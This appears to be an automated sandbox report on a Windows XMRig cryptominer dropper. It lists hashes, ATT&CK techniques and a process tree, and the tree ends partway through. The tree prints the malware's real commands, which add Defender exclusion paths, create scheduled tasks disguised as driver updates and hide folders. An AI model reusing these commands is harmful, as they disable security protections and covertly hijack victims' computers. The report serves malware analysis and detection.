xmrig | 1ab2320acf25ccd2e66adf3d8a4bf72b64f3d0a838d6f81ea4aa2679cc4d1df7

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/08/2026, 12:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-14_e3a3ee4c2a98e7ca8e0e25a7eaa582d7_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Size 3.6MB
Sample260814-pffftasfpa
SHA256 1ab2320acf25ccd2e66adf3d8a4bf72b64f3d0a838d6f81ea4aa2679cc4d1df7
MD5 e3a3ee4c2a98e7ca8e0e25a7eaa582d7
SHA1 8ec99f088cde2e27ac77c008e44bff71bf335243
SHA512 5991eda38757d9205affcde7641ecc110d567dc39673f205e9a88fc52728318526c9f45daad44ca3af9b226f52011c8571fff0d9967f9358cec402bb7994a366
SSDEEP 98304:B2uquCBONdx8aiXlq9jaobqzt1QX8+1KBww8V4:EuJdf9Wo0t1QN1D52
TLSH
T1B8062219C3E915F8E1B7A174DD968913DB37BC0E0775D68F03AC69A60F236909D38B22
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig impact miner persistence ransomware

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000c00000001c56c-91.dat	family_xmrig
behavioral2/files/0x000c00000001c56c-91.dat	xmrig

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 17 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4524	powershell.exe
1312	powershell.exe
1060	powershell.exe
5740	powershell.exe
2976	powershell.exe
1912	powershell.exe
3608	powershell.exe
1928	powershell.exe
4832	powershell.exe
2944	powershell.exe
2856	powershell.exe
3556	powershell.exe
5612	powershell.exe
3904	powershell.exe
2412	powershell.exe
4712	powershell.exe
696	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
4548	ntrights.exe
3568	gtservices.exe
5456	xmrigMiner.exe

Modifies file permissions 1 TTPs 18 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2992	icacls.exe
4912	icacls.exe
4984	icacls.exe
4636	icacls.exe
4168	icacls.exe
1472	icacls.exe
4152	icacls.exe
4548	icacls.exe
4544	icacls.exe
1000	icacls.exe
6088	icacls.exe
2724	icacls.exe
6008	icacls.exe
1488	icacls.exe
4876	icacls.exe
3040	icacls.exe
5744	icacls.exe
1104	icacls.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Power Settings 1 TTPs 3 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1892	powercfg.exe
4832	powershell.exe
3580	powercfg.exe

Discovers running processes 1 TTPs 64 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2488	tasklist.exe
2344	tasklist.exe
2628	tasklist.exe
4432	tasklist.exe
1488	tasklist.exe
3904	tasklist.exe
4884	tasklist.exe
5304	tasklist.exe
2292	tasklist.exe
2616	tasklist.exe
5020	tasklist.exe
3176	tasklist.exe
1560	tasklist.exe
904	tasklist.exe
4816	tasklist.exe
5440	tasklist.exe
4180	tasklist.exe
932	tasklist.exe
4824	tasklist.exe
1972	tasklist.exe
2424	tasklist.exe
5400	tasklist.exe
5856	tasklist.exe
3864	tasklist.exe
4304	tasklist.exe
5824	tasklist.exe
5388	tasklist.exe
2504	tasklist.exe
3740	tasklist.exe
5380	tasklist.exe
5308	tasklist.exe
848	tasklist.exe
3740	tasklist.exe
4248	tasklist.exe
312	tasklist.exe
2788	tasklist.exe
4104	tasklist.exe
4908	tasklist.exe
768	tasklist.exe
3088	tasklist.exe
1772	tasklist.exe
5704	tasklist.exe
5296	tasklist.exe
2892	tasklist.exe
2836	tasklist.exe
1908	tasklist.exe
5444	tasklist.exe
1464	tasklist.exe
4500	tasklist.exe
1292	tasklist.exe
1676	tasklist.exe
4860	tasklist.exe
4060	tasklist.exe
3948	tasklist.exe
4428	tasklist.exe
2696	tasklist.exe
2356	tasklist.exe
3760	tasklist.exe
5192	tasklist.exe
1016	tasklist.exe
2076	tasklist.exe
932	tasklist.exe
4412	tasklist.exe
4324	tasklist.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1204	WScript.exe
520	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1676	cmd.exe
4588	cmd.exe
6096	cmd.exe
304	cmd.exe
108	cmd.exe
1244	cmd.exe
1932	cmd.exe
1356	cmd.exe
2176	cmd.exe
3924	cmd.exe
1816	cmd.exe
2532	cmd.exe
1348	cmd.exe
3044	cmd.exe
1060	cmd.exe
4528	cmd.exe
4332	cmd.exe
5388	cmd.exe
4556	cmd.exe
4104	cmd.exe
672	cmd.exe
5224	cmd.exe
396	cmd.exe
3492	cmd.exe
380	cmd.exe
1916	cmd.exe
1124	cmd.exe
2264	cmd.exe
2504	cmd.exe
4972	cmd.exe
1636	cmd.exe
1260	cmd.exe
2068	cmd.exe
5080	cmd.exe
2656	cmd.exe
716	cmd.exe
204	cmd.exe
2296	cmd.exe
5424	cmd.exe
4508	cmd.exe
4892	cmd.exe
5428	cmd.exe
4952	cmd.exe
5112	cmd.exe
3864	cmd.exe
2856	cmd.exe
3820	cmd.exe
1680	cmd.exe
2480	cmd.exe
3020	cmd.exe
3672	cmd.exe
4580	cmd.exe
3720	cmd.exe
5016	cmd.exe
820	cmd.exe
1988	cmd.exe
3460	cmd.exe
6100	cmd.exe
4888	cmd.exe
2996	cmd.exe
1688	cmd.exe
4216	cmd.exe
1884	cmd.exe
2192	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ntrights.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 64 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3140	PING.EXE
1772	PING.EXE
4932	PING.EXE
2788	PING.EXE
2052	PING.EXE
4308	PING.EXE
4248	PING.EXE
6076	PING.EXE
2724	PING.EXE
4944	PING.EXE
5924	PING.EXE
4812	PING.EXE
4524	PING.EXE
2220	PING.EXE
4940	PING.EXE
4620	PING.EXE
4936	PING.EXE
5872	PING.EXE
1628	PING.EXE
3804	PING.EXE
5572	PING.EXE
4164	PING.EXE
4184	PING.EXE
2836	PING.EXE
5392	PING.EXE
1548	PING.EXE
328	PING.EXE
2356	PING.EXE
5912	PING.EXE
4152	PING.EXE
2040	PING.EXE
1848	PING.EXE
3472	PING.EXE
2168	PING.EXE
2364	PING.EXE
2848	PING.EXE
2788	PING.EXE
5156	PING.EXE
4808	PING.EXE
1480	PING.EXE
5736	PING.EXE
4352	PING.EXE
3600	PING.EXE
4596	PING.EXE
3472	PING.EXE
1232	PING.EXE
4584	PING.EXE
5256	PING.EXE
888	PING.EXE
4308	PING.EXE
2660	PING.EXE
5976	PING.EXE
4516	PING.EXE
5704	PING.EXE
5888	PING.EXE
4140	PING.EXE
1864	PING.EXE
5048	PING.EXE
2260	PING.EXE
5000	PING.EXE
3576	PING.EXE
2836	PING.EXE
5464	PING.EXE
2116	PING.EXE

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4268	timeout.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2480	vssadmin.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings	2026-08-14_e3a3ee4c2a98e7ca8e0e25a7eaa582d7_cryptbot_icedid_luca-stealer_njrat_stealc.exe

Runs ping.exe 1 TTPs 64 IoCs

Remote System Discovery

T1018

pid	Process
5644	PING.EXE
1084	PING.EXE
4808	PING.EXE
328	PING.EXE
2052	PING.EXE
2788	PING.EXE
2992	PING.EXE
5872	PING.EXE
4152	PING.EXE
2356	PING.EXE
1388	PING.EXE
5976	PING.EXE
4516	PING.EXE
4352	PING.EXE
6076	PING.EXE
6092	PING.EXE
5392	PING.EXE
2576	PING.EXE
4188	PING.EXE
5000	PING.EXE
4260	PING.EXE
4248	PING.EXE
2836	PING.EXE
2788	PING.EXE
2724	PING.EXE
4780	PING.EXE
1772	PING.EXE
5736	PING.EXE
3576	PING.EXE
2172	PING.EXE
3472	PING.EXE
1864	PING.EXE
4596	PING.EXE
4308	PING.EXE
1548	PING.EXE
2364	PING.EXE
4584	PING.EXE
4932	PING.EXE
1052	PING.EXE
4812	PING.EXE
3600	PING.EXE
5912	PING.EXE
5048	PING.EXE
2260	PING.EXE
4620	PING.EXE
4944	PING.EXE
5572	PING.EXE
5888	PING.EXE
4596	PING.EXE
5156	PING.EXE
1232	PING.EXE
4648	PING.EXE
4936	PING.EXE
3236	PING.EXE
5764	PING.EXE
2600	PING.EXE
5256	PING.EXE
5704	PING.EXE
2116	PING.EXE
888	PING.EXE
1988	PING.EXE
4940	PING.EXE
932	PING.EXE
2836	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4176	schtasks.exe
5956	schtasks.exe
2888	schtasks.exe

Suspicious behavior: EnumeratesProcesses 49 IoCs

pid	Process
1928	powershell.exe
1928	powershell.exe
4524	powershell.exe
4524	powershell.exe
1312	powershell.exe
1312	powershell.exe
1060	powershell.exe
1060	powershell.exe
5740	powershell.exe
5740	powershell.exe
2944	powershell.exe
2944	powershell.exe
2976	powershell.exe
2976	powershell.exe
2856	powershell.exe
2856	powershell.exe
1912	powershell.exe
1912	powershell.exe
3556	powershell.exe
3556	powershell.exe
3608	powershell.exe
3608	powershell.exe
3608	powershell.exe
5612	powershell.exe
5612	powershell.exe
5612	powershell.exe
3904	powershell.exe
3904	powershell.exe
3904	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
4712	powershell.exe
4712	powershell.exe
4712	powershell.exe
696	powershell.exe
696	powershell.exe
696	powershell.exe
2648	tskill.exe
2648	tskill.exe
3208	tskill.exe
3208	tskill.exe
3088	tskill.exe
3088	tskill.exe
1256	tskill.exe
1256	tskill.exe
4832	powershell.exe
4832	powershell.exe
4832	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1892	powercfg.exe
Token: SeCreatePagefilePrivilege	1892	powercfg.exe
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeDebugPrivilege	4524	powershell.exe
Token: SeDebugPrivilege	1312	powershell.exe
Token: SeDebugPrivilege	1060	powershell.exe
Token: SeDebugPrivilege	5740	powershell.exe
Token: SeDebugPrivilege	2944	powershell.exe
Token: SeIncreaseQuotaPrivilege	2944	powershell.exe
Token: SeSecurityPrivilege	2944	powershell.exe
Token: SeTakeOwnershipPrivilege	2944	powershell.exe
Token: SeLoadDriverPrivilege	2944	powershell.exe
Token: SeSystemProfilePrivilege	2944	powershell.exe
Token: SeSystemtimePrivilege	2944	powershell.exe
Token: SeProfSingleProcessPrivilege	2944	powershell.exe
Token: SeIncBasePriorityPrivilege	2944	powershell.exe
Token: SeCreatePagefilePrivilege	2944	powershell.exe
Token: SeBackupPrivilege	2944	powershell.exe
Token: SeRestorePrivilege	2944	powershell.exe
Token: SeShutdownPrivilege	2944	powershell.exe
Token: SeDebugPrivilege	2944	powershell.exe
Token: SeSystemEnvironmentPrivilege	2944	powershell.exe
Token: SeRemoteShutdownPrivilege	2944	powershell.exe
Token: SeUndockPrivilege	2944	powershell.exe
Token: SeManageVolumePrivilege	2944	powershell.exe
Token: 33	2944	powershell.exe
Token: 34	2944	powershell.exe
Token: 35	2944	powershell.exe
Token: 36	2944	powershell.exe
Token: SeDebugPrivilege	2976	powershell.exe
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	1912	powershell.exe
Token: SeDebugPrivilege	3556	powershell.exe
Token: SeDebugPrivilege	3608	powershell.exe
Token: SeDebugPrivilege	5612	powershell.exe
Token: SeDebugPrivilege	3904	powershell.exe
Token: SeIncreaseQuotaPrivilege	3904	powershell.exe
Token: SeSecurityPrivilege	3904	powershell.exe
Token: SeTakeOwnershipPrivilege	3904	powershell.exe
Token: SeLoadDriverPrivilege	3904	powershell.exe
Token: SeSystemProfilePrivilege	3904	powershell.exe
Token: SeSystemtimePrivilege	3904	powershell.exe
Token: SeProfSingleProcessPrivilege	3904	powershell.exe
Token: SeIncBasePriorityPrivilege	3904	powershell.exe
Token: SeCreatePagefilePrivilege	3904	powershell.exe
Token: SeBackupPrivilege	3904	powershell.exe
Token: SeRestorePrivilege	3904	powershell.exe
Token: SeShutdownPrivilege	3904	powershell.exe
Token: SeDebugPrivilege	3904	powershell.exe
Token: SeSystemEnvironmentPrivilege	3904	powershell.exe
Token: SeRemoteShutdownPrivilege	3904	powershell.exe
Token: SeUndockPrivilege	3904	powershell.exe
Token: SeManageVolumePrivilege	3904	powershell.exe
Token: 33	3904	powershell.exe
Token: 34	3904	powershell.exe
Token: 35	3904	powershell.exe
Token: 36	3904	powershell.exe
Token: SeDebugPrivilege	2412	powershell.exe
Token: SeIncreaseQuotaPrivilege	2412	powershell.exe
Token: SeSecurityPrivilege	2412	powershell.exe
Token: SeTakeOwnershipPrivilege	2412	powershell.exe
Token: SeLoadDriverPrivilege	2412	powershell.exe
Token: SeSystemProfilePrivilege	2412	powershell.exe
Token: SeSystemtimePrivilege	2412	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5456	xmrigMiner.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5068 wrote to memory of 1204	5068	2026-08-14_e3a3ee4c2a98e7ca8e0e25a7eaa582d7_cryptbot_icedid_luca-stealer_njrat_stealc.exe	89
PID 1204 wrote to memory of 672	1204	WScript.exe	90
PID 672 wrote to memory of 4548	672	cmd.exe	92
PID 672 wrote to memory of 1892	672	cmd.exe	93
PID 672 wrote to memory of 1928	672	cmd.exe	94
PID 672 wrote to memory of 4524	672	cmd.exe	95
PID 672 wrote to memory of 1312	672	cmd.exe	96
PID 672 wrote to memory of 1060	672	cmd.exe	97
PID 672 wrote to memory of 5740	672	cmd.exe	98
PID 672 wrote to memory of 2944	672	cmd.exe	99
PID 672 wrote to memory of 4268	672	cmd.exe	101
PID 672 wrote to memory of 552	672	cmd.exe	102
PID 552 wrote to memory of 2976	552	cmd.exe	103
PID 672 wrote to memory of 2856	672	cmd.exe	104
PID 672 wrote to memory of 4176	672	cmd.exe	105
PID 672 wrote to memory of 1296	672	cmd.exe	106
PID 1296 wrote to memory of 1912	1296	cmd.exe	107
PID 672 wrote to memory of 3556	672	cmd.exe	108
PID 672 wrote to memory of 5956	672	cmd.exe	109
PID 672 wrote to memory of 2508	672	cmd.exe	110
PID 2508 wrote to memory of 3608	2508	cmd.exe	113
PID 672 wrote to memory of 5612	672	cmd.exe	114
PID 672 wrote to memory of 2888	672	cmd.exe	116
PID 672 wrote to memory of 3904	672	cmd.exe	117
PID 672 wrote to memory of 2412	672	cmd.exe	119
PID 672 wrote to memory of 4712	672	cmd.exe	120
PID 672 wrote to memory of 696	672	cmd.exe	121
PID 672 wrote to memory of 4436	672	cmd.exe	122
PID 672 wrote to memory of 4612	672	cmd.exe	123
PID 672 wrote to memory of 2480	672	cmd.exe	124
PID 672 wrote to memory of 4304	672	cmd.exe	194
PID 672 wrote to memory of 2452	672	cmd.exe	126
PID 672 wrote to memory of 3580	672	cmd.exe	127
PID 672 wrote to memory of 2648	672	cmd.exe	128
PID 672 wrote to memory of 3208	672	cmd.exe	129
PID 672 wrote to memory of 3088	672	cmd.exe	197
PID 672 wrote to memory of 1256	672	cmd.exe	131
PID 672 wrote to memory of 5704	672	cmd.exe	132
PID 520 wrote to memory of 5080	520	WScript.exe	133
PID 5080 wrote to memory of 5776	5080	cmd.exe	135
PID 5776 wrote to memory of 2908	5776	cmd.exe	136
PID 5080 wrote to memory of 3568	5080	cmd.exe	137
PID 5080 wrote to memory of 5924	5080	cmd.exe	138
PID 3568 wrote to memory of 5224	3568	gtservices.exe	139
PID 5224 wrote to memory of 5456	5224	cmd.exe	140
PID 5080 wrote to memory of 2080	5080	cmd.exe	141
PID 2080 wrote to memory of 932	2080	cmd.exe	142
PID 5080 wrote to memory of 3140	5080	cmd.exe	143
PID 5080 wrote to memory of 3372	5080	cmd.exe	144
PID 3372 wrote to memory of 2532	3372	cmd.exe	211
PID 5080 wrote to memory of 2836	5080	cmd.exe	147
PID 5080 wrote to memory of 3924	5080	cmd.exe	148
PID 3924 wrote to memory of 848	3924	cmd.exe	149
PID 5080 wrote to memory of 1772	5080	cmd.exe	150
PID 5080 wrote to memory of 2996	5080	cmd.exe	151
PID 2996 wrote to memory of 4412	2996	cmd.exe	152
PID 5080 wrote to memory of 4812	5080	cmd.exe	153
PID 5080 wrote to memory of 1124	5080	cmd.exe	154
PID 1124 wrote to memory of 1972	1124	cmd.exe	155
PID 5080 wrote to memory of 5464	5080	cmd.exe	156
PID 5080 wrote to memory of 2264	5080	cmd.exe	157
PID 2264 wrote to memory of 3864	2264	cmd.exe	158
PID 5080 wrote to memory of 4308	5080	cmd.exe	159
PID 5080 wrote to memory of 3852	5080	cmd.exe	160

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4436	attrib.exe
4612	attrib.exe
2480	attrib.exe
4304	attrib.exe
2452	attrib.exe
3580	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-14_e3a3ee4c2a98e7ca8e0e25a7eaa582d7_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-14_e3a3ee4c2a98e7ca8e0e25a7eaa582d7_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5068
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Sound\unistall.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:1204
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /k unistall.bat
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:672
  - - C:\Users\Admin\AppData\Roaming\Sound\ntrights.exe
      ntrights -u Admin +r SeLockMemoryPrivilege
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4548
  - - C:\Windows\system32\powercfg.exe
      powercfg.exe /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:1892
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Force | Out-Null"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Name 'C:\cache' -Value 0 -PropertyType DWord -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4524
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Name 'C:\diagnostics' -Value 0 -PropertyType DWord -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1312
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Name 'C:\runtime' -Value 0 -PropertyType DWord -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1060
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Name 'C:\Users\Admin\AppData\Roaming\Sound' -Value 0 -PropertyType DWord -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\cache','C:\diagnostics','C:\runtime','C:\Users\Admin\AppData\Roaming\Sound' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2944
  - - C:\Windows\system32\timeout.exe
      timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4268
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:552
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2976
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(gc C:\perfdata\system.xml) -replace '22', 'S-1-5-21-4046655672-1449839301-2197395821-1000' | Out-File -encoding ASCII C:\perfdata\system.xml"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2856
  - - C:\Windows\system32\schtasks.exe
      SchTasks /Create /TN "GraphicsCardEngineupdater" /XML "C:\perfdata\system.xml"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4176
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1296
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(gc C:\rescache\system.xml) -replace '22', 'S-1-5-21-4046655672-1449839301-2197395821-1000' | Out-File -encoding ASCII C:\rescache\system.xml"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3556
  - - C:\Windows\system32\schtasks.exe
      SchTasks /Create /TN "MicrosoftdriverUpdate" /XML "C:\rescache\system.xml"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5956
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2508
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3608
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(gc C:\diagnostics\system.xml) -replace '22', 'S-1-5-21-4046655672-1449839301-2197395821-1000' | Out-File -encoding ASCII C:\diagnostics\system.xml"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5612
  - - C:\Windows\system32\schtasks.exe
      SchTasks /Create /TN "DriverUpdate" /XML "C:\diagnostics\system.xml"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2888
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$sid=[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value; " "$xmlPath='C:\perfdata\system.xml'; " "if(-not (Test-Path $xmlPath)){ throw ('Arquivo nao encontrado: ' + $xmlPath) }; " "(Get-Content -Path $xmlPath -Raw) -replace '22',$sid | Set-Content -Path $xmlPath -Encoding Ascii; " "$taskName='GraphicsCardEngineupdater'; " "$xml = Get-Content -Path $xmlPath -Raw; " "Register-ScheduledTask -TaskName $taskName -Xml $xml -Force; " "Write-Host ('OK. SID=' + $sid)"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3904
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$sid=[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value; " "$xmlPath='C:\rescache\system.xml'; " "if(-not (Test-Path $xmlPath)){ throw ('Arquivo nao encontrado: ' + $xmlPath) }; " "(Get-Content -Path $xmlPath -Raw) -replace '22',$sid | Set-Content -Path $xmlPath -Encoding Ascii; " "$taskName='MicrosoftdriverUpdate'; " "$xml = Get-Content -Path $xmlPath -Raw; " "Register-ScheduledTask -TaskName $taskName -Xml $xml -Force; " "Write-Host ('OK. SID=' + $sid)"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$sid=[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value; " "$xmlPath='C:\diagnostics\system.xml'; " "if(-not (Test-Path $xmlPath)){ throw ('Arquivo nao encontrado: ' + $xmlPath) }; " "(Get-Content -Path $xmlPath -Raw) -replace '22',$sid | Set-Content -Path $xmlPath -Encoding Ascii; " "$taskName='DriverUpdate'; " "$xml = Get-Content -Path $xmlPath -Raw; " "Register-ScheduledTask -TaskName $taskName -Xml $xml -Force; " "Write-Host ('OK. SID=' + $sid)"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$jsonPath='C:\Users\Admin\AppData\Roaming\Sound\config.json'; if(Test-Path $jsonPath){ $json = Get-Content $jsonPath -Raw; $json = $json -replace '1269', 'Admin'; $json = $json -replace '369', 'Admin'; $json = $json -replace '963', 'WLQWINKU'; Set-Content $jsonPath $json -Encoding Ascii -Force; Copy-Item $jsonPath C:\runtime -Force }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:696
  - - C:\Windows\system32\attrib.exe
      attrib +H C:\diagnostics
      4⤵
      Views/modifies file attributes
      PID:4436
  - - C:\Windows\system32\attrib.exe
      attrib +H C:\runtime
      4⤵
      Views/modifies file attributes
      PID:4612
  - - C:\Windows\system32\attrib.exe
      attrib +H C:\Users\Admin\AppData\Roaming\Sound\
      4⤵
      Views/modifies file attributes
      PID:2480
  - - C:\Windows\system32\attrib.exe
      attrib +H C:\perfdata
      4⤵
      Views/modifies file attributes
      PID:4304
  - - C:\Windows\system32\attrib.exe
      attrib +H C:\rescache
      4⤵
      Views/modifies file attributes
      PID:2452
  - - C:\Windows\system32\attrib.exe
      attrib +H C:\cache
      4⤵
      Views/modifies file attributes
      PID:3580
  - - C:\Windows\system32\tskill.exe
      tskill Monitor
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2648
  - - C:\Windows\system32\tskill.exe
      tskill smBootTime
